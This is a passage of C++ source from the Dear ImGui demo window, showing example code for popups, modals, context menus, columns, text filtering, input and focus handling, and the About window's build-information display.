(ImGui::BeginTabItem("OneOneOne")) { ImGui::EndTabItem(); } if (ImGui::BeginTabItem("TwoTwoTwo")) { ImGui::EndTabItem(); } if (ImGui::BeginTabItem("ThreeThreeThree")) { ImGui::EndTabItem(); } if (ImGui::BeginTabItem("FourFourFour")) { ImGui::EndTabItem(); } ImGui::EndTabBar(); } if (show_child) { ImGui::BeginChild("child", ImVec2(0,0), true); ImGui::EndChild(); } ImGui::End(); } ImGui::TreePop(); } if (ImGui::TreeNode("Clipping")) { static ImVec2 size(100, 100), offset(50, 20); ImGui::TextWrapped("On a per-widget basis we are occasionally clipping text CPU-side if it won't fit in its frame. Otherwise we are doing coarser clipping + passing a scissor rectangle to the renderer. The system is designed to try minimizing both execution and CPU/GPU rendering cost."); ImGui::DragFloat2("size", (float*)&size, 0.5f, 1.0f, 200.0f, "%.0f"); ImGui::TextWrapped("(Click and drag)"); ImVec2 pos = ImGui::GetCursorScreenPos(); ImVec4 clip_rect(pos.x, pos.y, pos.x + size.x, pos.y + size.y); ImGui::InvisibleButton("##dummy", size); if (ImGui::IsItemActive() && ImGui::IsMouseDragging(0)) { offset.x += ImGui::GetIO().MouseDelta.x; offset.y += ImGui::GetIO().MouseDelta.y; } ImGui::GetWindowDrawList()->AddRectFilled(pos, ImVec2(pos.x + size.x, pos.y + size.y), IM_COL32(90, 90, 120, 255)); ImGui::GetWindowDrawList()->AddText(ImGui::GetFont(), ImGui::GetFontSize()*2.0f, ImVec2(pos.x + offset.x, pos.y + offset.y), IM_COL32(255, 255, 255, 255), "Line 1 hello\nLine 2 clip me!", NULL, 0.0f, &clip_rect); ImGui::TreePop(); } } static void ShowDemoWindowPopups() { if (!ImGui::CollapsingHeader("Popups & Modal windows")) return; // The properties of popups windows are: // - They block normal mouse hovering detection outside them. (*) // - Unless modal, they can be closed by clicking anywhere outside them, or by pressing ESCAPE. // - Their visibility state (~bool) is held internally by Dear ImGui instead of being held by the programmer as we are used to with regular Begin() calls. // User can manipulate the visibility state by calling OpenPopup(). // (*) One can use IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup) to bypass it and detect hovering even when normally blocked by a popup. // Those three properties are connected. The library needs to hold their visibility state because it can close popups at any time. // Typical use for regular windows: // bool my_tool_is_active = false; if (ImGui::Button("Open")) my_tool_is_active = true; [...] if (my_tool_is_active) Begin("My Tool", &my_tool_is_active) { [...] } End(); // Typical use for popups: // if (ImGui::Button("Open")) ImGui::OpenPopup("MyPopup"); if (ImGui::BeginPopup("MyPopup") { [...] EndPopup(); } // With popups we have to go through a library call (here OpenPopup) to manipulate the visibility state. // This may be a bit confusing at first but it should quickly make sense. Follow on the examples below. if (ImGui::TreeNode("Popups")) { ImGui::TextWrapped("When a popup is active, it inhibits interacting with windows that are behind the popup. Clicking outside the popup closes it."); static int selected_fish = -1; const char* names[] = { "Bream", "Haddock", "Mackerel", "Pollock", "Tilefish" }; static bool toggles[] = { true, false, false, false, false }; // Simple selection popup // (If you want to show the current selection inside the Button itself, you may want to build a string using the "###" operator to preserve a constant ID with a variable label) if (ImGui::Button("Select..")) ImGui::OpenPopup("my_select_popup"); ImGui::SameLine(); ImGui::TextUnformatted(selected_fish == -1 ? "<None>" : names[selected_fish]); if (ImGui::BeginPopup("my_select_popup")) { ImGui::Text("Aquarium"); ImGui::Separator(); for (int i = 0; i < IM_ARRAYSIZE(names); i++) if (ImGui::Selectable(names[i])) selected_fish = i; ImGui::EndPopup(); } // Showing a menu with toggles if (ImGui::Button("Toggle..")) ImGui::OpenPopup("my_toggle_popup"); if (ImGui::BeginPopup("my_toggle_popup")) { for (int i = 0; i < IM_ARRAYSIZE(names); i++) ImGui::MenuItem(names[i], "", &toggles[i]); if (ImGui::BeginMenu("Sub-menu")) { ImGui::MenuItem("Click me"); ImGui::EndMenu(); } ImGui::Separator(); ImGui::Text("Tooltip here"); if (ImGui::IsItemHovered()) ImGui::SetTooltip("I am a tooltip over a popup"); if (ImGui::Button("Stacked Popup")) ImGui::OpenPopup("another popup"); if (ImGui::BeginPopup("another popup")) { for (int i = 0; i < IM_ARRAYSIZE(names); i++) ImGui::MenuItem(names[i], "", &toggles[i]); if (ImGui::BeginMenu("Sub-menu")) { ImGui::MenuItem("Click me"); if (ImGui::Button("Stacked Popup")) ImGui::OpenPopup("another popup"); if (ImGui::BeginPopup("another popup")) { ImGui::Text("I am the last one here."); ImGui::EndPopup(); } ImGui::EndMenu(); } ImGui::EndPopup(); } ImGui::EndPopup(); } // Call the more complete ShowExampleMenuFile which we use in various places of this demo if (ImGui::Button("File Menu..")) ImGui::OpenPopup("my_file_popup"); if (ImGui::BeginPopup("my_file_popup")) { ShowExampleMenuFile(); ImGui::EndPopup(); } ImGui::TreePop(); } if (ImGui::TreeNode("Context menus")) { // BeginPopupContextItem() is a helper to provide common/simple popup behavior of essentially doing: // if (IsItemHovered() && IsMouseReleased(0)) // OpenPopup(id); // return BeginPopup(id); // For more advanced uses you may want to replicate and cuztomize this code. This the comments inside BeginPopupContextItem() implementation. static float value = 0.5f; ImGui::Text("Value = %.3f (<-- right-click here)", value); if (ImGui::BeginPopupContextItem("item context menu")) { if (ImGui::Selectable("Set to zero")) value = 0.0f; if (ImGui::Selectable("Set to PI")) value = 3.1415f; ImGui::SetNextItemWidth(-1); ImGui::DragFloat("##Value", &value, 0.1f, 0.0f, 0.0f); ImGui::EndPopup(); } // We can also use OpenPopupOnItemClick() which is the same as BeginPopupContextItem() but without the Begin call. // So here we will make it that clicking on the text field with the right mouse button (1) will toggle the visibility of the popup above. ImGui::Text("(You can also right-click me to open the same popup as above.)"); ImGui::OpenPopupOnItemClick("item context menu", 1); // When used after an item that has an ID (here the Button), we can skip providing an ID to BeginPopupContextItem(). // BeginPopupContextItem() will use the last item ID as the popup ID. // In addition here, we want to include your editable label inside the button label. We use the ### operator to override the ID (read FAQ about ID for details) static char name[32] = "Label1"; char buf[64]; sprintf(buf, "Button: %s###Button", name); // ### operator override ID ignoring the preceding label ImGui::Button(buf); if (ImGui::BeginPopupContextItem()) { ImGui::Text("Edit name:"); ImGui::InputText("##edit", name, IM_ARRAYSIZE(name)); if (ImGui::Button("Close")) ImGui::CloseCurrentPopup(); ImGui::EndPopup(); } ImGui::SameLine(); ImGui::Text("(<-- right-click here)"); ImGui::TreePop(); } if (ImGui::TreeNode("Modals")) { ImGui::TextWrapped("Modal windows are like popups but the user cannot close them by clicking outside the window."); if (ImGui::Button("Delete..")) ImGui::OpenPopup("Delete?"); if (ImGui::BeginPopupModal("Delete?", NULL, ImGuiWindowFlags_AlwaysAutoResize)) { ImGui::Text("All those beautiful files will be deleted.\nThis operation cannot be undone!\n\n"); ImGui::Separator(); //static int dummy_i = 0; //ImGui::Combo("Combo", &dummy_i, "Delete\0Delete harder\0"); static bool dont_ask_me_next_time = false; ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0)); ImGui::Checkbox("Don't ask me next time", &dont_ask_me_next_time); ImGui::PopStyleVar(); if (ImGui::Button("OK", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } ImGui::SetItemDefaultFocus(); ImGui::SameLine(); if (ImGui::Button("Cancel", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } ImGui::EndPopup(); } if (ImGui::Button("Stacked modals..")) ImGui::OpenPopup("Stacked 1"); if (ImGui::BeginPopupModal("Stacked 1", NULL, ImGuiWindowFlags_MenuBar)) { if (ImGui::BeginMenuBar()) { if (ImGui::BeginMenu("File")) { if (ImGui::MenuItem("Dummy menu item")) {} ImGui::EndMenu(); } ImGui::EndMenuBar(); } ImGui::Text("Hello from Stacked The First\nUsing style.Colors[ImGuiCol_ModalWindowDimBg] behind it."); // Testing behavior of widgets stacking their own regular popups over the modal. static int item = 1; static float color[4] = { 0.4f,0.7f,0.0f,0.5f }; ImGui::Combo("Combo", &item, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); ImGui::ColorEdit4("color", color); if (ImGui::Button("Add another modal..")) ImGui::OpenPopup("Stacked 2"); // Also demonstrate passing a bool* to BeginPopupModal(), this will create a regular close button which will close the popup. // Note that the visibility state of popups is owned by imgui, so the input value of the bool actually doesn't matter here. bool dummy_open = true; if (ImGui::BeginPopupModal("Stacked 2", &dummy_open)) { ImGui::Text("Hello from Stacked The Second!"); if (ImGui::Button("Close")) ImGui::CloseCurrentPopup(); ImGui::EndPopup(); } if (ImGui::Button("Close")) ImGui::CloseCurrentPopup(); ImGui::EndPopup(); } ImGui::TreePop(); } if (ImGui::TreeNode("Menus inside a regular window")) { ImGui::TextWrapped("Below we are testing adding menu items to a regular window. It's rather unusual but should work!"); ImGui::Separator(); // NB: As a quirk in this very specific example, we want to differentiate the parent of this menu from the parent of the various popup menus above. // To do so we are encloding the items in a PushID()/PopID() block to make them two different menusets. If we don't, opening any popup above and hovering our menu here // would open it. This is because once a menu is active, we allow to switch to a sibling menu by just hovering on it, which is the desired behavior for regular menus. ImGui::PushID("foo"); ImGui::MenuItem("Menu item", "CTRL+M"); if (ImGui::BeginMenu("Menu inside a regular window")) { ShowExampleMenuFile(); ImGui::EndMenu(); } ImGui::PopID(); ImGui::Separator(); ImGui::TreePop(); } } static void ShowDemoWindowColumns() { if (!ImGui::CollapsingHeader("Columns")) return; ImGui::PushID("Columns"); static bool disable_indent = false; ImGui::Checkbox("Disable tree indentation", &disable_indent); ImGui::SameLine(); HelpMarker("Disable the indenting of tree nodes so demo columns can use the full window width."); if (disable_indent) ImGui::PushStyleVar(ImGuiStyleVar_IndentSpacing, 0.0f); // Basic columns if (ImGui::TreeNode("Basic")) { ImGui::Text("Without border:"); ImGui::Columns(3, "mycolumns3", false); // 3-ways, no border ImGui::Separator(); for (int n = 0; n < 14; n++) { char label[32]; sprintf(label, "Item %d", n); if (ImGui::Selectable(label)) {} //if (ImGui::Button(label, ImVec2(-FLT_MIN,0.0f))) {} ImGui::NextColumn(); } ImGui::Columns(1); ImGui::Separator(); ImGui::Text("With border:"); ImGui::Columns(4, "mycolumns"); // 4-ways, with border ImGui::Separator(); ImGui::Text("ID"); ImGui::NextColumn(); ImGui::Text("Name"); ImGui::NextColumn(); ImGui::Text("Path"); ImGui::NextColumn(); ImGui::Text("Hovered"); ImGui::NextColumn(); ImGui::Separator(); const char* names[3] = { "One", "Two", "Three" }; const char* paths[3] = { "/path/one", "/path/two", "/path/three" }; static int selected = -1; for (int i = 0; i < 3; i++) { char label[32]; sprintf(label, "%04d", i); if (ImGui::Selectable(label, selected == i, ImGuiSelectableFlags_SpanAllColumns)) selected = i; bool hovered = ImGui::IsItemHovered(); ImGui::NextColumn(); ImGui::Text(names[i]); ImGui::NextColumn(); ImGui::Text(paths[i]); ImGui::NextColumn(); ImGui::Text("%d", hovered); ImGui::NextColumn(); } ImGui::Columns(1); ImGui::Separator(); ImGui::TreePop(); } if (ImGui::TreeNode("Borders")) { // NB: Future columns API should allow automatic horizontal borders. static bool h_borders = true; static bool v_borders = true; static int columns_count = 4; const int lines_count = 3; ImGui::SetNextItemWidth(ImGui::GetFontSize() * 8); ImGui::DragInt("##columns_count", &columns_count, 0.1f, 2, 10, "%d columns"); if (columns_count < 2) columns_count = 2; ImGui::SameLine(); ImGui::Checkbox("horizontal", &h_borders); ImGui::SameLine(); ImGui::Checkbox("vertical", &v_borders); ImGui::Columns(columns_count, NULL, v_borders); for (int i = 0; i < columns_count * lines_count; i++) { if (h_borders && ImGui::GetColumnIndex() == 0) ImGui::Separator(); ImGui::Text("%c%c%c", 'a' + i, 'a' + i, 'a' + i); ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x); ImGui::Text("Offset %.2f", ImGui::GetColumnOffset()); ImGui::Text("Long text that is likely to clip"); ImGui::Button("Button", ImVec2(-FLT_MIN, 0.0f)); ImGui::NextColumn(); } ImGui::Columns(1); if (h_borders) ImGui::Separator(); ImGui::TreePop(); } // Create multiple items in a same cell before switching to next column if (ImGui::TreeNode("Mixed items")) { ImGui::Columns(3, "mixed"); ImGui::Separator(); ImGui::Text("Hello"); ImGui::Button("Banana"); ImGui::NextColumn(); ImGui::Text("ImGui"); ImGui::Button("Apple"); static float foo = 1.0f; ImGui::InputFloat("red", &foo, 0.05f, 0, "%.3f"); ImGui::Text("An extra line here."); ImGui::NextColumn(); ImGui::Text("Sailor"); ImGui::Button("Corniflower"); static float bar = 1.0f; ImGui::InputFloat("blue", &bar, 0.05f, 0, "%.3f"); ImGui::NextColumn(); if (ImGui::CollapsingHeader("Category A")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); if (ImGui::CollapsingHeader("Category B")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); if (ImGui::CollapsingHeader("Category C")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); ImGui::Columns(1); ImGui::Separator(); ImGui::TreePop(); } // Word wrapping if (ImGui::TreeNode("Word-wrapping")) { ImGui::Columns(2, "word-wrapping"); ImGui::Separator(); ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); ImGui::TextWrapped("Hello Left"); ImGui::NextColumn(); ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); ImGui::TextWrapped("Hello Right"); ImGui::Columns(1); ImGui::Separator(); ImGui::TreePop(); } // Scrolling columns /* if (ImGui::TreeNode("Vertical Scrolling")) { ImGui::BeginChild("##header", ImVec2(0, ImGui::GetTextLineHeightWithSpacing()+ImGui::GetStyle().ItemSpacing.y)); ImGui::Columns(3); ImGui::Text("ID"); ImGui::NextColumn(); ImGui::Text("Name"); ImGui::NextColumn(); ImGui::Text("Path"); ImGui::NextColumn(); ImGui::Columns(1); ImGui::Separator(); ImGui::EndChild(); ImGui::BeginChild("##scrollingregion", ImVec2(0, 60)); ImGui::Columns(3); for (int i = 0; i < 10; i++) { ImGui::Text("%04d", i); ImGui::NextColumn(); ImGui::Text("Foobar"); ImGui::NextColumn(); ImGui::Text("/path/foobar/%04d/", i); ImGui::NextColumn(); } ImGui::Columns(1); ImGui::EndChild(); ImGui::TreePop(); } */ if (ImGui::TreeNode("Horizontal Scrolling")) { ImGui::SetNextWindowContentSize(ImVec2(1500.0f, 0.0f)); ImGui::BeginChild("##ScrollingRegion", ImVec2(0, ImGui::GetFontSize() * 20), false, ImGuiWindowFlags_HorizontalScrollbar); ImGui::Columns(10); int ITEMS_COUNT = 2000; ImGuiListClipper clipper(ITEMS_COUNT); // Also demonstrate using the clipper for large list while (clipper.Step()) { for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) for (int j = 0; j < 10; j++) { ImGui::Text("Line %d Column %d...", i, j); ImGui::NextColumn(); } } ImGui::Columns(1); ImGui::EndChild(); ImGui::TreePop(); } if (ImGui::TreeNode("Tree")) { ImGui::Columns(2, "tree", true); for (int x = 0; x < 3; x++) { bool open1 = ImGui::TreeNode((void*)(intptr_t)x, "Node%d", x); ImGui::NextColumn(); ImGui::Text("Node contents"); ImGui::NextColumn(); if (open1) { for (int y = 0; y < 3; y++) { bool open2 = ImGui::TreeNode((void*)(intptr_t)y, "Node%d.%d", x, y); ImGui::NextColumn(); ImGui::Text("Node contents"); if (open2) { ImGui::Text("Even more contents"); if (ImGui::TreeNode("Tree in column")) { ImGui::Text("The quick brown fox jumps over the lazy dog"); ImGui::TreePop(); } } ImGui::NextColumn(); if (open2) ImGui::TreePop(); } ImGui::TreePop(); } } ImGui::Columns(1); ImGui::TreePop(); } if (disable_indent) ImGui::PopStyleVar(); ImGui::PopID(); } static void ShowDemoWindowMisc() { if (ImGui::CollapsingHeader("Filtering")) { // Helper class to easy setup a text filter. // You may want to implement a more feature-full filtering scheme in your own application. static ImGuiTextFilter filter; ImGui::Text("Filter usage:\n" " \"\" display all lines\n" " \"xxx\" display lines containing \"xxx\"\n" " \"xxx,yyy\" display lines containing \"xxx\" or \"yyy\"\n" " \"-xxx\" hide lines containing \"xxx\""); filter.Draw(); const char* lines[] = { "aaa1.c", "bbb1.c", "ccc1.c", "aaa2.cpp", "bbb2.cpp", "ccc2.cpp", "abc.h", "hello, world" }; for (int i = 0; i < IM_ARRAYSIZE(lines); i++) if (filter.PassFilter(lines[i])) ImGui::BulletText("%s", lines[i]); } if (ImGui::CollapsingHeader("Inputs, Navigation & Focus")) { ImGuiIO& io = ImGui::GetIO(); // Display ImGuiIO output flags ImGui::Text("WantCaptureMouse: %d", io.WantCaptureMouse); ImGui::Text("WantCaptureKeyboard: %d", io.WantCaptureKeyboard); ImGui::Text("WantTextInput: %d", io.WantTextInput); ImGui::Text("WantSetMousePos: %d", io.WantSetMousePos); ImGui::Text("NavActive: %d, NavVisible: %d", io.NavActive, io.NavVisible); // Display Keyboard/Mouse state if (ImGui::TreeNode("Keyboard, Mouse & Navigation State")) { if (ImGui::IsMousePosValid()) ImGui::Text("Mouse pos: (%g, %g)", io.MousePos.x, io.MousePos.y); else ImGui::Text("Mouse pos: <INVALID>"); ImGui::Text("Mouse delta: (%g, %g)", io.MouseDelta.x, io.MouseDelta.y); ImGui::Text("Mouse down:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (io.MouseDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("b%d (%.02f secs)", i, io.MouseDownDuration[i]); } ImGui::Text("Mouse clicked:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } ImGui::Text("Mouse dbl-clicked:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseDoubleClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } ImGui::Text("Mouse released:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseReleased(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } ImGui::Text("Mouse wheel: %.1f", io.MouseWheel); ImGui::Text("Keys down:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (io.KeysDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("%d (0x%X) (%.02f secs)", i, i, io.KeysDownDuration[i]); } ImGui::Text("Keys pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyPressed(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } ImGui::Text("Keys release:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyReleased(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } ImGui::Text("Keys mods: %s%s%s%s", io.KeyCtrl ? "CTRL " : "", io.KeyShift ? "SHIFT " : "", io.KeyAlt ? "ALT " : "", io.KeySuper ? "SUPER " : ""); ImGui::Text("Chars queue:"); for (int i = 0; i < io.InputQueueCharacters.Size; i++) { ImWchar c = io.InputQueueCharacters[i]; ImGui::SameLine(); ImGui::Text("\'%c\' (0x%04X)", (c > ' ' && c <= 255) ? (char)c : '?', c); } // FIXME: We should convert 'c' to UTF-8 here but the functions are not public. ImGui::Text("NavInputs down:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputs[i] > 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputs[i]); } ImGui::Text("NavInputs pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] == 0.0f) { ImGui::SameLine(); ImGui::Text("[%d]", i); } ImGui::Text("NavInputs duration:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputsDownDuration[i]); } ImGui::Button("Hovering me sets the\nkeyboard capture flag"); if (ImGui::IsItemHovered()) ImGui::CaptureKeyboardFromApp(true); ImGui::SameLine(); ImGui::Button("Holding me clears the\nthe keyboard capture flag"); if (ImGui::IsItemActive()) ImGui::CaptureKeyboardFromApp(false); ImGui::TreePop(); } if (ImGui::TreeNode("Tabbing")) { ImGui::Text("Use TAB/SHIFT+TAB to cycle through keyboard editable fields."); static char buf[32] = "dummy"; ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); ImGui::InputText("3", buf, IM_ARRAYSIZE(buf)); ImGui::PushAllowKeyboardFocus(false); ImGui::InputText("4 (tab skip)", buf, IM_ARRAYSIZE(buf)); //ImGui::SameLine(); HelpMarker("Use ImGui::PushAllowKeyboardFocus(bool)\nto disable tabbing through certain widgets."); ImGui::PopAllowKeyboardFocus(); ImGui::InputText("5", buf, IM_ARRAYSIZE(buf)); ImGui::TreePop(); } if (ImGui::TreeNode("Focus from code")) { bool focus_1 = ImGui::Button("Focus on 1"); ImGui::SameLine(); bool focus_2 = ImGui::Button("Focus on 2"); ImGui::SameLine(); bool focus_3 = ImGui::Button("Focus on 3"); int has_focus = 0; static char buf[128] = "click on a button to set focus"; if (focus_1) ImGui::SetKeyboardFocusHere(); ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); if (ImGui::IsItemActive()) has_focus = 1; if (focus_2) ImGui::SetKeyboardFocusHere(); ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); if (ImGui::IsItemActive()) has_focus = 2; ImGui::PushAllowKeyboardFocus(false); if (focus_3) ImGui::SetKeyboardFocusHere(); ImGui::InputText("3 (tab skip)", buf, IM_ARRAYSIZE(buf)); if (ImGui::IsItemActive()) has_focus = 3; ImGui::PopAllowKeyboardFocus(); if (has_focus) ImGui::Text("Item with focus: %d", has_focus); else ImGui::Text("Item with focus: <none>"); // Use >= 0 parameter to SetKeyboardFocusHere() to focus an upcoming item static float f3[3] = { 0.0f, 0.0f, 0.0f }; int focus_ahead = -1; if (ImGui::Button("Focus on X")) { focus_ahead = 0; } ImGui::SameLine(); if (ImGui::Button("Focus on Y")) { focus_ahead = 1; } ImGui::SameLine(); if (ImGui::Button("Focus on Z")) { focus_ahead = 2; } if (focus_ahead != -1) ImGui::SetKeyboardFocusHere(focus_ahead); ImGui::SliderFloat3("Float3", &f3[0], 0.0f, 1.0f); ImGui::TextWrapped("NB: Cursor & selection are preserved when refocusing last used item in code."); ImGui::TreePop(); } if (ImGui::TreeNode("Dragging")) { ImGui::TextWrapped("You can use ImGui::GetMouseDragDelta(0) to query for the dragged amount on any widget."); for (int button = 0; button < 3; button++) ImGui::Text("IsMouseDragging(%d):\n w/ default threshold: %d,\n w/ zero threshold: %d\n w/ large threshold: %d", button, ImGui::IsMouseDragging(button), ImGui::IsMouseDragging(button, 0.0f), ImGui::IsMouseDragging(button, 20.0f)); ImGui::Button("Drag Me"); if (ImGui::IsItemActive()) ImGui::GetForegroundDrawList()->AddLine(io.MouseClickedPos[0], io.MousePos, ImGui::GetColorU32(ImGuiCol_Button), 4.0f); // Draw a line between the button and the mouse cursor // Drag operations gets "unlocked" when the mouse has moved past a certain threshold (the default threshold is stored in io.MouseDragThreshold) // You can request a lower or higher threshold using the second parameter of IsMouseDragging() and GetMouseDragDelta() ImVec2 value_raw = ImGui::GetMouseDragDelta(0, 0.0f); ImVec2 value_with_lock_threshold = ImGui::GetMouseDragDelta(0); ImVec2 mouse_delta = io.MouseDelta; ImGui::Text("GetMouseDragDelta(0):\n w/ default threshold: (%.1f, %.1f),\n w/ zero threshold: (%.1f, %.1f)\nMouseDelta: (%.1f, %.1f)", value_with_lock_threshold.x, value_with_lock_threshold.y, value_raw.x, value_raw.y, mouse_delta.x, mouse_delta.y); ImGui::TreePop(); } if (ImGui::TreeNode("Mouse cursors")) { const char* mouse_cursors_names[] = { "Arrow", "TextInput", "ResizeAll", "ResizeNS", "ResizeEW", "ResizeNESW", "ResizeNWSE", "Hand", "NotAllowed" }; IM_ASSERT(IM_ARRAYSIZE(mouse_cursors_names) == ImGuiMouseCursor_COUNT); ImGui::Text("Current mouse cursor = %d: %s", ImGui::GetMouseCursor(), mouse_cursors_names[ImGui::GetMouseCursor()]); ImGui::Text("Hover to see mouse cursors:"); ImGui::SameLine(); HelpMarker("Your application can render a different mouse cursor based on what ImGui::GetMouseCursor() returns. If software cursor rendering (io.MouseDrawCursor) is set ImGui will draw the right cursor for you, otherwise your backend needs to handle it."); for (int i = 0; i < ImGuiMouseCursor_COUNT; i++) { char label[32]; sprintf(label, "Mouse cursor %d: %s", i, mouse_cursors_names[i]); ImGui::Bullet(); ImGui::Selectable(label, false); if (ImGui::IsItemHovered() || ImGui::IsItemFocused()) ImGui::SetMouseCursor(i); } ImGui::TreePop(); } } } //----------------------------------------------------------------------------- // [SECTION] About Window / ShowAboutWindow() // Access from Dear ImGui Demo -> Tools -> About //----------------------------------------------------------------------------- void ImGui::ShowAboutWindow(bool* p_open) { if (!ImGui::Begin("About Dear ImGui", p_open, ImGuiWindowFlags_AlwaysAutoResize)) { ImGui::End(); return; } ImGui::Text("Dear ImGui %s", ImGui::GetVersion()); ImGui::Separator(); ImGui::Text("By Omar Cornut and all Dear ImGui contributors."); ImGui::Text("Dear ImGui is licensed under the MIT License, see LICENSE for more information."); static bool show_config_info = false; ImGui::Checkbox("Config/Build Information", &show_config_info); if (show_config_info) { ImGuiIO& io = ImGui::GetIO(); ImGuiStyle& style = ImGui::GetStyle(); bool copy_to_clipboard = ImGui::Button("Copy to clipboard"); ImGui::BeginChildFrame(ImGui::GetID("cfginfos"), ImVec2(0, ImGui::GetTextLineHeightWithSpacing() * 18), ImGuiWindowFlags_NoMove); if (copy_to_clipboard) { ImGui::LogToClipboard(); ImGui::LogText("```\n"); // Back quotes will make the text appears without formatting when pasting to GitHub } ImGui::Text("Dear ImGui %s (%d)", IMGUI_VERSION, IMGUI_VERSION_NUM); ImGui::Separator(); ImGui::Text("sizeof(size_t): %d, sizeof(ImDrawIdx): %d, sizeof(ImDrawVert): %d", (int)sizeof(size_t), (int)sizeof(ImDrawIdx), (int)sizeof(ImDrawVert)); ImGui::Text("define: __cplusplus=%d", (int)__cplusplus); #ifdef IMGUI_DISABLE_OBSOLETE_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_OBSOLETE_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_WIN32_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_WIN32_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_FILE_FUNCTIONS ImGui::Text("define: IMGUI_DISABLE_FILE_FUNCTIONS"); #endif #ifdef IMGUI_DISABLE_DEFAULT_ALLOCATORS ImGui::Text("define: IMGUI_DISABLE_DEFAULT_ALLOCATORS"); #endif #ifdef IMGUI_USE_BGRA_PACKED_COLOR ImGui::Text("define: IMGUI_USE_BGRA_PACKED_COLOR"); #endif #ifdef _WIN32 ImGui::Text("define: _WIN32"); #endif #ifdef _WIN64 ImGui::Text("define: _WIN64"); #endif #ifdef __linux__ ImGui::Text("define: __linux__"); #endif #ifdef __APPLE__ ImGui::Text("define: __APPLE__"); #endif #ifdef _MSC_VER ImGui::Text("define: _MSC_VER=%d", _MSC_VER); #endif #ifdef __MINGW32__ ImGui::Text("define: __MINGW32__"); #endif #ifdef __MINGW64__ ImGui::Text("define: __MINGW64__"); #endif #ifdef __GNUC__ ImGui::Text("define: __GNUC__=%d", (int)__GNUC__); #endif #ifdef __clang_version__ ImGui::Text("define: __clang_version__=%s", __clang_version__); #endif ImGui::Separator(); ImGui::Text("io.BackendPlatformName: %s", io.BackendPlatformName ? io.BackendPlatformName : "NULL"); ImGui::Text("io.BackendRendererName: %s", io.BackendRendererName ? io.BackendRendererName : "NULL"); ImGui::Text("io.ConfigFlags: 0x%08X", io.ConfigFlags); if (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) ImGui::Text(" NavEnableKeyboard"); if (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) ImGui::Text(" NavEnableGamepad"); if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) ImGui::Text(" NavEnableSetMousePos"); if (io.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard) ImGui::Text(" NavNoCaptureKeyboard"); if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) ImGui::Text(" NoMouse"); if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) ImGui::Text(" NoMouseCursorChange"); if (io.MouseDrawCursor) ImGui::Text("io.MouseDrawCursor"); if (io.ConfigMacOSXBehaviors) ImGui::Text("io.ConfigMacOSXBehaviors"); if (io.ConfigInputTextCursorBlink) ImGui::Text("io.ConfigInputTextCursorBlink"); if (io.ConfigWindowsResizeFromEdges) ImGui::Text("io.ConfigWindowsResizeFromEdges"); if (io.ConfigWindowsMoveFromTitleBarOnly) ImGui::Text("io.ConfigWindowsMoveFromTitleBarOnly"); if 